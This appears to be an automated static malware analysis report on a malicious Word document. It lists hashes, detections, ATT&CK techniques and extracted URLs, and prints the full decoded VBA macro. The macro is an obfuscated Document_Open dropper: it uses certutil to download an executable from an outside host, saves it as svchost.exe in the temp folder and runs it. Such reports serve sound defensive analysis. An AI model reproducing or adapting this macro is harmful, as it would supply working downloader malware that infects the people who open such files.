Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9b7c0465236b7e1b…

MALICIOUS

Office (OOXML)

28.8 KB Created: 2021-03-03 14:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: e45bf13dc5108bfa1363adc47ff63d0e SHA-1: 6f6e1b0a6c353d649e0a8df0704c22e9c5117109 SHA-256: 9b7c0465236b7e1ba7358bdca315400f8ffc6079804f33e2ca4b5c467f499d1f
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that automatically executes upon opening the document. This macro constructs a URL to download a second-stage executable and saves it to the temporary directory as 'svchost.exe'. It then uses 'certutil.exe' to download the file and subsequently executes it. The presence of the 'Document_Open' macro and the use of 'Shell()' with obfuscated commands strongly indicate a downloader functionality.

Heuristics 9

  • ClamAV: Vbs.Downloader.Agent-9890024-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Vbs.Downloader.Agent-9890024-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://service.clickaway.com//ccrs_tool/uploads/722CDfdBpfUbRyg.bbc Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1272 bytes
SHA-256: a36a539185b9f8d5a4ac8dff1449c76d178c70c6054db072751e97213c8aadc1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

rtubrhd = Replace(("http://service.clickaway.com//ccrs_tool/uploads/722CDfdBpfUbRyg.bbc"), "bbc", "exe")
ytnrbhh = Replace(rtubrhd, "qsohf", "https://")
trfutyjnih = Environ$(Chr(116) & Chr(109) & Chr(112)) & "\" & Replace("svchost.bbc", "bbc", "exe")
Dim lkjklm
lkjklm = Chr(99) & Chr(101) & Chr(114) & Chr(116) & Chr(117) & Chr(116) & Chr(105) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(45) & Chr(117) & Chr(114) & Chr(108) & Chr(99) & Chr(97) & Chr(99) & Chr(104) & Chr(101) & Chr(32) & Chr(45) & Chr(115) & Chr(112) & Chr(108) & Chr(105) & Chr(116) & Chr(32) & Chr(45) & Chr(102) & Chr(32)
Shell (lkjklm & ytnrbhh & " " & trfutyjnih), vbHide
delay (5)

Shell (trfutyjnih)
End Sub


Sub delay(sec)
    Dim temp
    temp = Timer
    Do While Timer - temp < sec
    Loop
End Sub

Attribute VB_Name = "NewMacros"
Sub fjanjadnjknacjndsjcedjeupdate()
'
' fjanjadnjknacjndsjcedjeupdate Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 0d23b0d35261938e2681b94ecc890c810df472bdfddff4ccebcb8ae7bba064eb
Detection
ClamAV: Vbs.Downloader.Agent-9890024-0
Obfuscation or payload: unlikely

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